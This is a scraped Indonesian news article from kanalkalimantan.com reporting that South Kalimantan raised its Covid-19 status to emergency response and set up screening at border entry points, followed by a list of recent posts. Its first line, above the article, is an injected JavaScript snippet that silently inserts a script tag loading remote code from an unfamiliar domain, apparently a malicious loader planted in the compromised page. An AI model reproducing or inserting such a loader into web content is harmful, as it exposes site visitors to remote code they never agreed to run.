(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

Berlakukan Screening Covid-19 di Tiga Pintu Masuk Perbatasan Kalsel


KANALKALIMANTAN.COM, BANJARMASIN – Pemprov Kalsel secara resmi menaikkan status Kalsel dari siaga darurat menjadi tanggap darurat Covid-19. Tentunya, penaikan status ini telah berkoordinasi dengan pemerintah pusat dengan pertimbangan dua provinsi tetangga Kalteng dan Kaltim telah terpapar virus corona atau Covid-19.

Ketua Tim Gugus Tugas P3 Covid-19 Abdul Haris Makkie mengatakan, ada tiga kabupaten di Kalsel yang berbatasan langsung dengan kedua provinsi itu.

“Kabupaten Barito Kuala berbatasan langsung dengan Kabupaten Kapuas dan Pulang Pisau,” kata Haris di Mahligai Pancasila, Sabtu (21/3/2020) sore.

“Akan dilakukan cegah tangkal dengan berbagai pemeriksaan. Kami sudah berkoordinasi dengan Sekda Kalteng dan Sekda Kaltim terkait ini, dan kita sama-sama memahami kondisinya,” jelas Sekda Provinsi Kalsel ini.

Di samping itu, Haris menambahkan, Kabupaten Tabalong dan Kabupaten Kotabaru berbatasan langsung dengan Provinsi Kaltim. Sehingga, dengan posisi yang terjepit, menjadi pertimbangan Pemprov Kalsel menaikkan status dari siaga darurat menjadi tanggap darurat.

Baca juga: BREAKING NEWS: Terjepit Dua Provinsi, Kalsel Naik Status Tanggap Darurat Covid-19

“Kita memutuskan untuk meningkatkan status tersebut dengan tujuan agar masyarakat tenang,” tambah Haris.

Nantinya, Haris menegaskan, pintu masuk perbatasan akan diberlakukan screening. Terutama di tiga kabupaten di Kalsel yang berbatasan langsung dengan Kaltim dan Kalteng.

Harapannya, masyarakat Kalteng atau Kaltim yang hendak berpergian ke Kalsel, sudah mengetahui akan ada cegah tangkal di perbatasan Kalsel dengan dua provinsi tetangga itu.

Baca juga: PDP Meninggal di Banjarmasin Negatif Covid-19, 5 PDP di RSUD Ulin Mulai Pulih

Selanjutnya, protokol tanggap darurat akan diberlakukan di Kalsel. Namun demikian, Haris melanjutkan, pihaknya akan berkoordinasi lebih lanjut penerapan protokol di bidang pendidikan dan perkantoran.

“Yang jelas, protokol atau SOP itu sudah kita berlakukan,” tegas Haris.

Haris berpesan, masyarakat Kalsel untuk tidak bepergian ke luar daerah jika tidak ada hal penting. Khusus bagi ASN, pemprov maupun pemerintah kabupaten dan kota diminta untuk tidak melakukan perjalanan dinas ke luar Kalsel. “Lakukan koordinasi melalui telepon, surat maupun fasilitas lainnya,” pungkasnya. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie


Al Ghifari

Recent Posts

Camat Lurah Boleh Jabat Sekretariat PPK PPS

KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More

11 jam ago

Sekretaris Nasdem Kalsel Melamar Golkar, Rozanie Sadar Cukup Posisi Calon Wagub

KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More

11 jam ago

Mesin Terbakar di Udara, Pesawat Jemaah Haji Kloter 5 Embarkasi Makassar Kembali Mendarat

KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More

12 jam ago

Meteran Air Leding PAM Bandarmasih Hilang, Biaya Pergantian Ditanggung Pelanggan

KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More

12 jam ago

Layanan Posyandu Terintegrasi di Desa Manusup

KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More

12 jam ago

Kampung KB Guntung Manggis Masuk Enam Besar Nasional

KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More

13 jam ago

This website uses cookies.